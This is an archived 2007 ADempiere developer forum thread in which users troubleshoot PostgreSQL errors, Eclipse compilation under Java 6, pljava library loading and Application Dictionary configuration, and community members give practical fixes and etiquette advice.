when i try to set a new system language i have this error:


```
-----> GridTable.dataSave: AD_Language - No Persistent Object [11]
=====> GridTable.dataSave: SELECT
AD_Client_ID,AD_Org_ID,AD_Language,Name,LanguageISO,CountryCode,IsActive,I
sBaseLanguage,IsSystemLanguage,DatePattern,TimePattern,IsDecimalPoint,Processing,
AD_Language_ID,Created,CreatedBy,Updated,UpdatedBy FROM AD_Language
WHERE AD_Language_ID=181 [11]
org.postgresql.util.PSQLException: ERROR: syntax error at or near
"AD_Language_ID"; State=42601; ErrorCode=0
at
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1548)
at
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1316)
)
at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:191)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:452)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:351)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:255)
at sun.reflect.GeneratedMethodAccessor9.invoke(Unknown Source)
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:585)
at
org.postgresql.ds.jdbc23.AbstractJdbc23PooledConnection$StatementHandler.invoke(AbstractJdbc23PooledConnection.java:471)
at $Proxy1.executeQuery(Unknown Source)
at org.compiere.util.CPreparedStatement.executeQuery(CPreparedStatement.java:112)
at org.compiere.model.GridTable.dataSave(GridTable.java:1674)
at org.compiere.model.GridTab.dataSave(GridTab.java:815)
at org.compiere.apps.APanel.cmd_save(APanel.java:1590)
at org.compiere.apps.APanel.actionPerformed(APanel.java:1279)
at org.compiere.apps.AppsAction.actionPerformed(AppsAction.java:266)
at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:1849)
at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2169)
at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:420)
at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:258)

-----> GridTable.saveWarning: SaveError - ERROR: syntax error at or near
"AD_Language_ID" [11]
```

if i push an other time the save botton i have this error but the record is saved anyway:

```
-----> GridTable.dataSave: AD_Language - No Persistent Object [11]
-----> GridTable.saveWarning: SaveErrorDataChanged - [11]
```

i make this change and now i have just the error

```
-----> GridTable.dataSave: AD_Language - No Persistent Object
```

```
// Single Key - retrieval sql
if (field.isKey() && !m_inserting)
{
if (rowData[col] == null)
throw new RuntimeException("Key is NULL - " + columnName);
if (columnName.endsWith("_ID")){
//singleRowWHERE.append (columnName).append ("=").append (rowData[col]);
//original code
singleRowWHERE.append (" AND " +columnName).append ("=").append
(rowData[col]); //my change
}
else
{
singleRowWHERE = new StringBuffer(); // overwrite
singleRowWHERE.append (columnName).append ("=").append
(DB.TO_STRING(rowData[col].toString()));
}
}
}
```

is it ok or now i'll have problem in other points of code?

Is it a bug or i have problem in my installation?

Best regards

Francesco

2007-03-23 00:21:40 UTC

Hi,

You need to execute the sql script located at trunk/migration/315-trunk . Specifically, 002_fix_language_key.sql will fix the problem you are facing.

Regards,
Low

2007-03-23 12:31:38 UTC

Thanks a lot dear Heng Sin

2007-03-23 21:22:51 UTC

hi all,

i need help to configure authentication method in postgres pg_hba.conf
if i use "trust" method i can connect to adempiere without password, this is no good;
if i use "password" or "md5" method i can't connect to adempiere.
I think this is a problem with adempiere encryption password.

Thanks to anyone can help me.

Best regards
Francesco

2007-03-23 22:19:01 UTC

Hi Francesco, I have heard that there is a problem with encryption password (md5 or password options) in windows port of postgresql. Maybe you can find some info about this in google.

I'm pretty sure that is not a problem from Adempiere but from postgres.
To check that try to connect with any postgres tool (pgadmin, psql, aquadata, etc) via IP port.

Regards,

Carlos Ruiz

2007-03-23 22:41:59 UTC

Hi Carlos,
this is true, the problem exist with any postgres tool, so it comes with postgres and XP.

Sorry, i didn't look enough in postgres forum
Thanks a lot

Regards,

Francesco

2007-03-23 23:19:16 UTC

Hi Carlos,
i made another test.
I set the md5 method and it work fine. I forgot to set adempiere user password :-), i'm really sorry.
Maybe it's a good idea to set adempiere user password directly in the ImportAdempiere.bat script.

Regards
Francesco

2007-03-23 15:17:36 UTC

System : Adempiere 3.15 on Postgres 8.2.3

The following line is throwing errors in our setup
(line no 594)

```
.append(" ORDER BY COALESCE(BatchDocumentNo,  
TO_NCHAR(I_GLJournal_ID)), COALESCE(JournalDocumentNo,  
TO_NCHAR(I_GLJournal_ID)), C_AcctSchema_ID, PostingType, C_DocType_ID,  
GL_Category_ID, C_Currency_ID, TRUNC(DateAcct), Line, I_GLJournal_ID");
```

is removing it in our setup all right ?

Regards,

Sam24368

2007-03-23 22:14:11 UTC

Hi Sam, thanks for reporting bugs.

Opened and solved bug 1687167
http://sourceforge.net/tracker/index.php?func=detail&aid=1687167&group_id=176962&atid=879332

Regards,

Carlos Ruiz

2007-03-24 02:20:17 UTC

Hi Carlos,

Good for us to be a part of this community and get support quick.

Regards

Sam24368

2007-03-25 06:12:20 UTC

Hi TEO

Many Many Thanks.I have overcome all the compilation problem by going through ur tips about CPreparedStatement.java.thanks thanks a lot.Now i am learning structure of adempiere source ccode.Where is what,how this is occuring,what is comming from where.

i wish that i will get help again from you when i will fall in problem again. thanks.
thanks again.

bye
take care.

2007-03-26 03:06:12 UTC

Hi,

Line no 228 :

Should the following be changed from this :

Begin :

// Update Prices

no = DB.executeUpdate ("UPDATE T_InventoryValue iv "

+ "SET PricePO = "

+ "(SELECT MAX(currencyConvert (po.PriceList,

End :

To This :

Begin :

```
// Update Prices
```

```
no = DB.executeUpdate ("UPDATE T_InventoryValue iv "
```

```
+ "SET PricePO = "
```

```
+ "(SELECT MAX(currencyConvert (po.PricePO,
```

End :

Regards,

Sam24368

2007-03-16 19:08:50 UTC

hi

i am a new developer in adempiere.please help me.

i have downloaded Eclipse 3.2.2 , PostgreSQL 8.2.3 , Adempiere 3.1.5 .

i dont have the source of Adempiere 3.1.5. i immediately need it.please give me the link of it.

i have source of 1.3.4 ,i have installed jdk 1.6.Now how can i compile adempiere source code and run it and change it acording to my wish.Is it possible to change the GUI of adempiere by Eclipse.

i did not know how to develop in eclipse.please help me,please help me.

2007-03-16 19:39:05 UTC

Hi codder, nice to see a new adempiere developer is there!

But i have some good and some bad news for you:

Prerequisites for working on the adempiere codebase:

- Good knowledge of java itself and programming experience
- Good knowledge how compiere/adempiere architecture is built
- Much time for research and research and research
- Knowledge of the IDE you use for development

And bad news are:

I (and i think noone else) is willing to give you a extensive eclipse training, when it comes to usage questions of the IDE.

And, you can't change the GUI of adempiere using Eclipse.
The majority (99%) of adempiere GUI is built in realtime based on the AD (Application Dictionary) for the client side, and the 1% left are handwritten (Java/Swing UI) dialogs.

Good news:

You can grab the trunk or 3.1.5 tag sourcecode from sf.net subversion.
I'm sure we will have up2date source tarballs in a foreseeable time.

Have fun with development in adempiere and if there are any questions left, let us know!

Best regards Johannes

2007-03-16 21:05:21 UTC

Hi Codder,

I started from scratch like you in my self-imposed task of compiling Adempiere, so I know how you feel.

I am not yet able to debug, make new windows, dialogs etc. But At least, I could make a Build of Adempiere 3.1.5 with Eclipse (and the installation and migration worked), Now I can see the code, navigate from Method to method, see Views, CallOuts, etc. There is still a long way to go, but I on the way. So do not give up.

I reccomend you to read carefully the thread I started (http://sourceforge.net/forum/forum.php?thread_id=1680666&forum_id=610548) and the information in the wiki (Hacker's corner and the like). I started my ordeal 4 weeks ago and after 12 days (not working exclusively on that) and the excellent help of the Adempiere community, I had the environment running.

Much trial and error, asking questions to the community, waiting, googling, reading, is needed....

Right know, I am doing other tasks in an Adempiere project, but as soon as I can I will resume this task. Maybe you can then help me out....

Mario

2007-03-17 21:44:46 UTC

Hi Johannes

many many thanks to you that you replied.i have already started to know how to work on eclipse.I am reading [help] available on the eclipse.i really need help from you.You told me 4 things to do

1- Good knowledge of java itself and programming experience

- 2- Good knowledge how compiere/adempiere architecture is built
- 3- Much time for research and research and research
- 4- Knowledge of the IDE you use for development

- 1) i have knowledge of java and i have done some work on it.
- 2) No is didnt understand,i mean how can i get the architecture.and how can i know about it.
- 3) i am ready to research,but need help that from where i will start.
- 4) Which IDE i will use to do.

i need help please,please.i have installed adempiere 3.1.5,but i did not operate its features.please give me guideline step by step .i need to go enter the code.

[The majority (99%) of adempiere GUI is built in realtime based on the AD (Application Dictionary) for the client side, and the 1% left are handwritten (Java/Swing UI) dialogs.]

i didnt get your point.please explain me,please.what IDE is used for making the GUI of adempiere.what is essential for adempiere to work on it using eclipse.please help me. say i want to add new feature in adempiere,then what should i do.i know i have to understand the whole architecture,but tell me HOW. i need to compile every part of it,and have to see what is going on where.please help me. and dont be angry of my any request.

please reply soon.

HOW CAN I GET THE TOTAL SOURCE CODE OF ADEMPIERE 3.1.5.Please give the link and necessary comments for me.

please,please.

partha.

2007-03-18 00:39:00 UTC

Hi,

You can find most of the info you looking for at the adempiere wiki - <http://www.adempiere.com/wiki/>

Regards,
Low

2007-03-18 17:38:25 UTC

Hi Heng Sin

I am confused from where to stat.i want to work on adempiere from windows os. I need to compile the whole source code step by step.For an example i want to change some small parts of adempiere 3.1.5 , say starting logo will be change,name will be

change,say i want to edit the code and rebuild the set up software.from where should i start please help me.please.please.please.

2007-03-18 18:27:13 UTC

hi Partha,

>say starting logo will be change,name will be change

Why do you want to change LOGO and NAME?

We are trying to build good brand and well known product and change of name and logo will not be good for this aim. Why should i help you? WHY, WHY, WHY?

Kind regards,
Trifon

2007-03-18 19:49:02 UTC

HI Trifon

i am very upset that you totaly missunderstood me.i also want be the part of adempiere developer.i just gave an example that i wanted to compile the the code and start developing new things.For this , i have to compile it by the right way,and i have to check it that ami i going to the right way,is it changing , is it working.

actually i want to see that , i can do something with adempiere,before beegening developing new thing in adempiere,i have to compile it first,and i have to understand that what is going from where,say i if i can navigate that from where the name is showing then i can get the style,structure of adempiere a little bit.please help me,and dont missunderstood me please.i just gave a example , may be i wrote with less information that what i want to do,if i were in ypur place then i must thought like that,what you thought about me.

But friend please dont missunderstood me.i just wnated to find out that from where , how things is coming on the GUI.

Now after this if you again missunderstood me,then i will be upset again,and my mind will broke up.

I need help,in seetinf eclipse,understanding adempiere structure. why i will want to change tha LOGO.i also want to be a part of adempiere developers.my only aim is to understanding the whole architecture of aempiere that what is going on from where. please. Trifon.

2007-03-19 01:34:19 UTC

Hi Partha,

Changing the logo was the very first thing i did as a trial with Compiere in 2003 when i first downloaded it. I didnt ask anyone but refered completely to the SourceForge information. And today, with ADempiere you have conditions that are supposedly 100

times better than before.

The number of ppl and their expensive knowledge parked here are a far cry from what i experienced back in 2003. I advice that you try to adapt to their way of answering you. Take it easy. Do not be easily upset. We are humans like you. Put yourself in our shoes too.

To understand the ADempiere structure etc, u should not put a heavy road map it seems as u put it about your own present level. Do it in small steps. I m just repeating what the above have adviced u. First get the source code into Eclipse without red marks. Once you hae done that, then go to the next step as adviced. Don't try to rush yourself. Your mind and heart obviously cannot take it. Otherwise why should u be upset? *lol* U should be damn happy with all this freedom and attention!

Let me give a small tip here. Tell us a bit more of your background, where u are at, and what work u do. When u treat YOURSELF as a friendly, calm, humbly learning human, the right ones come to u.

redl

2007-03-19 05:35:55 UTC

Hi Partha,

I have been thinking of you this weekend. As I wrote before, both you and me pursue the same goal.

To have a will alone will get you nowhere. You have to be methodic.

The right way of achieving your goal should be

- 1.- Install the DB
- 2.- Install Adempiere
- 3.- Learn WHAT Adempiere does (Create BPs, POs, SOs, Accounting Charts, etc)
- 4.- Learn how the Application Dictionary of Adempiere works
- 5.- Learn interaction between Application Dictionary and Database (for example Views, Reports)
- 7.- Install eclipse + subclipse
- 8.- Download Adempiere sources
- 9.- Learn HOW Application Dictionary and Sources interact

These steps are written more or less explicitly and extensively in the wiki. Then (and only then) you will be able to develop sound Adempiere code.

It seems to me that you intend to jump right into the last steps without having taken the first ones. This way you are bound to a Death On Arrival.

I am new to this community, but I think we should ask for help AFTER having tried all

possible ways by ourselves, and not BEFORE.

Try, inform yourself, read the wiki again and again. If you have tried by all your means and still can not manage it, I am sure the community will help you out.

Regards,
Mario

2007-03-19 20:23:49 UTC

Hi Mario

i have done 1,2 and part of 7.

i mean i have downloaded the adempiere sources of version 3.1.4.

why do i need subclipse.

Now how will i compile the whole code and start to develop sound adempiere code.

please mario dont be angry of me,and dont fade up by my these posts.i have read ,but i didnot find anything that can help me to compile the code,and run the code on eclipse.

i am ready to do what u will suggest me to do.

thanks

codder

2007-03-19 23:29:48 UTC

Subclipse enables you to access the Adempiere subversion repository through eclipse -- if you want the most up to date sources. As you've already downloaded the source, perhaps you could be more specific about what the problem is you are having with compiling in Eclipse. Presumably you have used the import function to create the adempiere projects in eclipse, if this was successful, the problems view (Window -> Show View -> Problems) may show you some errors preventing you from building. Most likely there will be some build path problems. I found that manually running the ant build task in utils_dev/ (RUN_Build.bat should do it) solved these (some projects apparently are set up with dependencies on jar files that are created by the build process).

By default, eclipse will attempt to build your projects incrementally automatically, so once its in there you should get meaningful errors and be able to use them to track down the problem. Running Adempiere through eclipse is simply a matter of creating a run configuration (Run -> Run... -> Java Application -> New) that points to the main method in dbPort/Adempiere.java. Similarly you can create a debug configuration to run Adempiere with hot code swapping to see your alterations as you work. Hope that helps.

Regards,

Paul

HI Paul

Thank you very much.I think it will help me.i will check it.

i want to tell about my step of work till now.

1) i have the adempiere soucre of version 3.1.4. in the folder named adempiere 3.1.3 , there is many folders like

Tools
Looks
dbPort
Print
Base
serverRoot
Interfaces
Extend
Client
serverApps
Install
sqlj
webstore
doc

ect.

these folders are in the adempiere 3.1.4 folder.

now tell me what to do to set up the environment in eclipse.

should i do this step : i will right click on the workbench,and chose import,then all the folders will be there in eclipse workbench.

then what will i do.Like this way tell me the way.

i am telling my step what i did.

- 1) i have installed PostgreSQL 8.2.3
- 2) i have the source in the folder named Adempiere 3.1.4
- 3) i never used eclipse before.
- 4) i am reading the help manual that are available with eclipse.
- 5) i am looking what features are available in adempiere.

Now tell me what else have to me to compile the adempiere code and run it.

I did not know what is and build and what is building also.but i am ready to learn it if i need it for compilation the code.i have tried one times before by importing the only tools folder in the workbench and i compile it and when i click run button on workbench then just new inctance of eclipse comes front.

please tell me step by step,what should i do.

is there anything to do for database in eclipse.
is there any additional setup needed for eclipse.i just have downloaded the eclipse-SDK-3.2.2-win32.zip and extract it in a drive and using it.
please tell me please step by step.
i am ready to do,learn,research anything for adempiere.

please Paul help me out.

2007-03-20 19:45:20 UTC

Hi paul,Mario

i have posted another one for which i did not get any replied,
i have upload the photo of some error message here at

<http://parthasarker.ifastnet.com/error/error.html>

please please please see those error which i got in eclipse.

i did not find any reason for this.i had no option without uploading the photo to anywhere else.i have just taken some printscreen.pleas read it.and help me out.
please please please.

2007-03-20 20:31:16 UTC

Hi Partha,

Please take newer version. It looks that you work with old version 3.1.1 so there could be some eclipse issues. It looks that some jar is not set in classpath.

With new version just take whole project :
tags/adempiere315/

Why do you push so much?
do you have some deadline or something like this?

Kind regards,
Trifon

2007-03-20 22:21:53 UTC

Partha!

I am not an developer my self, I am just starting to study the adempiere code, just as you, but indeed, it is annoying the way you ask for help.

You should be more polite with the adempiere hackers, they are working really hard.

My recommendation is, take a break and read many times the following document:

<http://www.catb.org/~esr/faqs/smart-questions.html>

Best Regards!

2007-03-21 00:27:00 UTC

I'm afraid I haven't time to guide you step by step -- here are some pointers though. First install and run Adempiere from a pre-compiled binary (I assume there's one zipped up in the download...) to make sure you have the database correctly configured etc. You can learn about the application dictionary and how to create new windows etc without touching the code. That's the easiest way to learn what features are available (or you could use the virtual appliance). Running from within eclipse simply accesses the database in same manner -- there is no specific set up required.

I found it helpful to go through some of the tutorials on the Eclipse Welcome screen (accessible through the help menu too) to get the hang of using eclipse. If you are unfamiliar with programming in Java perhaps also read some of the Java tutorials on the Sun website. BTW building is compiling.

Each of the subfolders in the Adempiere314 folder should be imported into eclipse as a separate project. You seem to have managed to work out how to do that, but you seem to have imported it as one big project which might not work. From the images you have posted it seems that you are half way there, but the errors you are getting make no sense to me. Delete that project and start again, probably with the newest version of the source available. Better yet get the subclipse plugin and download the trunk from svn. The only errors you should possibly expect will relate to classpath entries (providing you have the 1.5 JDK). Red1 had some good tutorials on building Compiere in eclipse that should still be mostly relevant, accessible from the wiki: <http://www.adempiere.com/wiki/index.php/Red1.org>. I think the one called Compiere source 101.

And please, please, please stop sounding so desperate; its rather disturbing. Your last post was an improvement on previous ones, because you at least told us some of what you have done so far. But you don't ask any specific questions, so it is hard to respond to you. You should ask one question at a time, telling us exactly what you have tried and what has gone wrong, and be patient until someone finds the time to help you rather than begging. For example, rather than demanding step by step instructions for compiling in eclipse, ask "How do I import the source into Eclipse, having downloaded it from SF?". Wait till you've got that sorted out before going on to the next step. And consider all failures as a valuable part of learning. If you are really in a hurry to learn and can't wait for help I suggest you pay someone to tutor you.

Regards,

Paul Bowden

2007-03-21 09:50:54 UTC

Hi Partha, as explained in the reading that Moyses pointed, ask for "step by step" is very wrong way to get attention ;-)

"Step by step" sounds really lazy. Please go ahead with the reading recommended by Moyses.

It's better if you think that we can guide you "one step every time", and you show your effort before asking, and even better if you document every step in a wiki page for others. That will get another attention for sure.

I wonder if you really have explored all the links deep in:

http://adempiere.com/wiki/index.php/Adempiere_Developer%27s_Corner

There are explanations to many of your questions there.

After saying all the above, let me help you with this step.

For your specific problem there are two solutions:

1 - Compile with java 5 - not java 6

2 - If you want to compile and test in java 6, look the CPreparedStatement method and uncomment the methods needed to compile in java 6

[It will be very good if you document this issue in the eclipse java page on wiki]

Regards,

Carlos Ruiz

2007-03-22 19:06:28 UTC

Hi Mario

i have done 1,2 and part of 7.

i mean i have downloaded the adempiere sources of version 3.1.4.

why do i need subclipse.

Now how will i compile the whole code and start to develop sound adempiere code.

please mario dont be angry of me,and dont fade up by my these posts.

i have upload the photo of some error message here at

<http://parthasarker.ifastnet.com/error/error.html>

i am trying to do what other friends is telling me here.i am learning eclipse by its manual.Check the link above and tell me if you see some problem.You all guys are very helpful.

i am ready to do what u will suggest me to do.

thanks

codder

2007-03-22 19:19:50 UTC

Partha, did you read the end of my message about java 5/6 issues in CPreparedStatement?

Regards,

Carlos Ruiz

2007-03-22 20:06:29 UTC

Hi Carlos

thanks for reply.still now i am trying to compile it and having some problem.i will try more and then i will post my problem again.

i did not understand that why you r telling me to use java 5 instead of java 6. is there any chance of error for this reason.if yes then please tell me,i want to know.On the error it seems that errors telling that tha class implements an interface but did not implement the method of that interface.please check my errors at

here <http://parthasarker.ifastnet.com/error/error.html>

i will tell you more problem after trying by myself again.i have not the 3.1.5 version. i need to download it.

ok

thanks

partha

2007-03-22 20:30:47 UTC

Partha,

please please please do us teh favor and read what others recommend you.

Carlos explained several times precisely how to modify the source in order to have a Java 6 compatible adempiere codebase. So, please follow the suggestions and it will work.

More and more i wonder what have you done so far in Java? You told me/us you had other projects before in Java.

I mean, did you used a quick and dirty java beginners tutorial and your operating systems texteditor or was it just a Hello World program? I really wonder where your experience left :(

ADempiere is nothing you can dig in and start playing with it like with some pyhton or perl scripts,

the ADempiere codebase requires fundamental extended knowledge of Java and object

relation software development.

A huge bunch of client/server architecture knowledge is also very useful.

I don't want to keep you away from getting into adempiere but please, ask precise questions and invest some/a lot of time by your own into research of how adempiere works.

PS: I likely help other peoples, and it is a great feeling to see others succeed because someone helped them, but the way you are currently acting i see no way how I (and all others) can help you!

Best regards Johannes

2007-03-22 20:40:56 UTC

Hi Carlos

thanks for reply.still now i am trying to compile it and having some problem.i will try more and then i will post my problem again.

i did not understand that why you r telling me to use java 5 instead of java 6. is there any chance of error for this reason.if yes then please tell me,i want to know.On the errors i have uploaded , it seems the class which implements an interface but did not implement the methods of that interface.please check my errors at

here <http://parthasarker.ifastnet.com/error/error.html>

i will tell you more problem after trying by myself again.i have not the 3.1.5 version. i need to download it.

ok

thanks

partha

2007-03-22 21:14:44 UTC

Hi Johannes Gubo

thanks for your post.actually i have not any working experience on some kind of big project like Adempiere.I have some project on java.i know the basic,base of java.i know i have the ability to understand the coding of adempiere.may be i have to learn some additional coding style.i know i have to research the code more and more.But believe me that i have confidence that i can do it.

i never work on eclipse.its a new environment for me.i am learning how to make a project in eclipse,how to compile,how to run a project.i think first time it is very easy to fall a problem.Now think where i did not work on eclipse ,how can i know how to import adempiere source in workbench.whta i did

Atfirst i have got the source code and i have open eclipse,right button on the workbench then import.i have imported the folder adempiere 3.1.4.then eclipse have taken atleast 30

minutes to import it.but after import it i have seen some extra .jar file which were not in the adempiere source folder named adempiere 3.1.4.

Not tell me i i am not familier with eclipse then how could i import it properly.Someone told me to import every project individualy.but now trying to learn how to do that.

i did not understand this line properly posted by Carlos.Please if you have some time then give some explanations.

Johannes, you guys are some sort of genious,but i am not like that,i just like what you were before genious.i want to be like them.i am trying hard and soul for this.i have good knowledge of java.i will learn whatever i need for adempiere.

[If you want to compile and test in java 6, look the CPreparedStatement method and uncomment the methods needed to compile in java 6]

thanks Johannes Gubo

hope you will not become angry with me and will POST me again with more help.

2007-03-22 21:45:06 UTC

Hi,

1. Open the CPreparedStatement.java file
2. Scroll the file on line 1024 and you will see:

From line 1024:

```
//vpj-cd add support java 6
/*
```

3. Scroll the file on line 1143 and you will see:

```
.....
public void setRowId(int parameterIndex, java.sql.RowId x) throws SQLException {}
Line 1143: */
```

4. Remove the comments, NOT the entire comment but only the "/*" (line 1024) and "*/" (line 1143).

5. Save the file.

6. Compile

> Johannes, you guys are some sort of genious,but i am not like that,i just like what you were before genious.i want

> to be like them.i am trying hard and soul for this.i have good knowledge of java.i will

learn whatever i need for
> adempiere.

Johannes, your a rock star !

Best regards,
Teo Sarca

2007-03-22 22:12:13 UTC

Teo, can you please please please give me Step by Step instruction on
1 - How to open CPreparedStatement.java?
2 - How to scroll the file in eclipse?

Please don't take it bad, Partha, I'm just joking.

We want you and we need you here, I don't want to be rude with you ;-)

You are really lucky with all the advices you have received here on how to make your way - but looks like you're not understanding :-)

I'm sure that in other forums you will be a) ignored b) expelled
But we don't want that, we want you to get your way here, but you need to show really the interest and specially that you CAN DO RESEARCH AND ARRIVE TO CONCLUSIONS BY YOURSELF without asking - please explain me why you say that I must use java 6. It's really easy for you to just look at google for that, or look on these forums and surely you'll find the answer.

I also think that you're going to do it, but you started the wrong way.

Unlike Johannes stated before, I don't think that we need all those prerequisites to become adempiere developer.

The most important prerequisite I think is:

- know how to search, your best friends are:

** google

** adempiere wiki

** red1 forums

** Adempiere forums

** Compriere forums and trackers

please please learn how to use it before asking

- understand what you found on searching (many people search and then want that other explain what they found)

Please please please read the essay
<http://www.catb.org/~esr/faqs/smart-questions.htm>

Regards,

Carlos Ruiz

2007-03-23 08:36:59 UTC

Thaks teo
i am going to do what you told.
i think i will get more help from you.
i am trying a lot for understanding the adempiere.
i am studying in CSE[Computer Science And Engineering] department.
It is running my last semester here.I am also doing work for my Thesis.
Just for adempiere i am giving many time all the day.when i tried to install PostgerSQL on my pc,i failed 3 times.but after install the windows xp again ,i win. First two time i have got the same error [pl/java] problem to install the PostgreSQL 8.2.3. 3rd time i have found error on when i tried to setup adempiere.THere was a port error. then i after feeling boared for long time i have installed windows.then evrything worked properly.there was Visual Studio 2005 installed on my PC.also XAMPP for php.i assumed that the port problem was for this.whatever, now i have not any problem for setup adempiere.

But with source ,still i have some problem.i think i will solve it by the help of u guys.
i will do now what u told me to do.
thanks again.

take care
bye

2007-03-24 20:39:57 UTC

Hi TEO

Many Many Thanks.I have overcome all the compilation problem by going through ur tips about CPreparedStatement.java.thanks thanks a lot.Now i am learning structure of adempiere source ccode.Where is what,how this is occuring,what is comming from where.
i wish that i will get help again from you when i will fall in problem again. thanks.
thanks again.

bye
take care.

2007-03-26 19:23:12 UTC

Hi TEO

Many Many Thanks.I have overcome all the compilation problem by going through ur tips about CPreparedStatement.java.thanks thanks a lot.Now i am learning structure of adempiere source ccode.Where is what,how this is occuring,what is coming from where.

i wish that i will get help again from you when i will fall in problem again. thanks.
thanks again.

bye
take care.

2007-03-30 08:54:48 UTC

Hello all,

Im trying to import database with Adempiere_pg.dmp and get this error:

ERROR: no se pudo cargar la biblioteca «/usr/lib/postgresql/8.1/lib/pljava.so»:
/usr/lib/postgresql/8.1/lib/pljava.so: undefined symbol: JNI_CreateJavaVM

My configuration:

SO: Linux-kubuntu-Edgy
Java path: /usr/lib/jvm/java-1.5.0-sun-1.5.0.08/
Postgres version: 8.1

postgres.conf variables added:
dynamic_library_path = '\$libdir:/usr/lib/postgresql/8.1/lib/'
custom_variable_classes = 'pljava'
pljava.classpath = '/usr/lib/postgresql/8.1/lib/pljava.jar'

ld.so.conf:
/usr/lib/jvm/java-1.5.0-sun/jre/lib/i386
/usr/lib/jvm/java-1.5.0-sun/jre/lib/i386/client
/usr/lib/jvm/java-1.5.0-sun/jre/lib/i386/native_threads

ldconfig was executed as root.

Somo one know what is my problem?

Thanks in advance,

Manuel.

2007-03-30 11:29:47 UTC

More Information....

The problem looks like JNI_CreateJavaVM has been moved from libgcj to libjvm...

```
objdump -t -T /usr/lib/libgcj.so.70 | grep JNI_CreateJavaVM
nothing...
```

but...

```
objdump -t -T /usr/lib/jvm/java-1.5.0-sun-1.5.0.08/jre/lib/i386/client/libjvm.so | grep
JNI_Crea
001a46a0 g F .text 000001a2 JNI_CreateJavaVM
001a46a0 g DF .text 000001a2 SUNWprivate_1.1 JNI_CreateJavaVM
```

but I do not know how resolve. I have downloaded pljava and comile, when I do..

```
$ ldd pljava.so
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dff000)
/lib/ld-linux.so.2 (0x80000000)
```

```
in the old version (apt-get install pljava)
ldd /usr/lib/postgresql/8.1/lib/pljava.so.orig
linux-gate.so.1 => (0xffffe000)
libgcj.so.70 => /usr/lib/libgcj.so.70 (0xb623a000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb622f000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb60fb000)
libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb60e7000)
librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb60de000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb60da000)
libz.so.1 => /usr/lib/libz.so.1 (0xb60c6000)
/lib/ld-linux.so.2 (0x80000000)
```

I get the same error: cant load pljava.so

Thanks.

2007-03-30 13:53:36 UTC

My own respose...

I've replaced /usr/lib/postgresql/8.1/lib/pljava.so with pljava.so located in <http://pgfoundry.org/frs/download.php/967/pljava-i686-pc-linux-gnu-pg8.1-1.3.0.tar.gz>

read this for more information: <http://pgfoundry.org/frs/download.php/967/pljava-i686-pc-linux-gnu-pg8.1-1.3.0.tar.gz>

Hope it's help

Manuel.

2007-03-29 15:08:25 UTC

I have tried many different approaches to map Adempiere's functionality using JPA Entity classes.

For me it seems that there is two different kind of approaches: "not flexible enough" and "not scalable enough".

(Here I should describe those approaches, but I am too tired now.)

Now I am going to start studying if some of the entity classes could be generated runtime using javassist.

If somebody is familiar with javassist please share your opinions.

I think that api which generates java classes based on AD data could be useful many ways (X-Classes).

-kontro-

2007-03-30 02:20:45 UTC

hi kontro,

I'm not sure what approach you are using (since you have not elaborate further), however I see there is an issue here, duplication of metadata between ad_table, ad_column and the jpa layer. This is a violation of the DRY principle and I believe the use of ad_table and ad_column need to be drop to effectively migrate to a jpa based architecture.

Regards,
Low

2007-03-30 14:50:03 UTC

Hi,

>an issue here, duplication of metadata between ad_table, ad_column and the jpa layer. This >is a violation of the DRY principle and I believe the use of ad_table and ad_column need to >be drop to effectively migrate to a jpa based architecture.

Ups, i do not like to read such posts.

Can anyone describe what metadata JPA store and where it duplicates with AD_Table and AD_Column?

Kind regards,
Trifon

2007-04-01 09:16:23 UTC

Hi,

When I review database, I know, AD_ stand for Application Dictionary, CM_ stand for Content management, GL_ stand for General ledger, but other is not clear:

A_B_C_I_K_M_PA_R_S_T_W_
can anyone give me some tips?

Best Regards

2007-04-01 09:43:38 UTC

Hi,

http://www.adempiere.com/wiki/index.php/Table_Prefix

Regards,
Karsten

2007-03-21 11:23:47 UTC

Hi,

we are trying to add a search window but still get error: No Info Columns

We have a window for creation of new contracts in which we should be able to select an employee via search window for whom this contract is. we created a reference between these two tables and windows.

In contract window we defined "user_id" to link to employee table, and in the columnset of employe table we defined "user_id" as idenfier.

pls help

mahir

ps trifon you showed us how to do this, but we forgot maybe u can reply again, sorry :)

2007-03-21 16:22:52 UTC

Hi Mahir,

>we are trying to add a search window but still get error: No Info Columns

>

>

>We have a window for creation of new contracts in which we should be able to select an
>employee via search window for whom this contract is. we created a reference between
these >two tables and windows.

Please do following steps:

- 1) Login as System Admin
- 2) Open window "Table and Column"
- 3) Find tables which you defined and which complain that Info Columns are missing.
- 4) Go to Tab "Column"
- 5) Find column "Name" or any column by which you would like to search and mark column as "Identifier"

As an example please see "AD_Table" tables which has two identifiers: Name and
TableName.

Kind regards,
Trifon

2007-03-22 07:15:16 UTC

thats the first thing we did, still not working :(

2007-03-22 11:39:31 UTC

Hi Mahir,

>thats the first thing we did, still not working :(

Sorry, i made mistake.
You need to set column as "Selection Column".

I have to check AD in future before answering...

Hope that this time it will work.

Kind regards,
Trifon

2007-03-22 14:16:04 UTC

ok, maybe i didnt asked very clearly, what im trying to make is field which has a little green arrow, so when user clicks on that arrow the search window will open. (so not to go to toolbarmenu on the top of the page and click the magnitude glass, therefore is the "selection column"..

2007-03-22 14:23:26 UTC

hi Mahir,

>field which has a little green arrow, so when user clicks on that arrow the search window >will open.

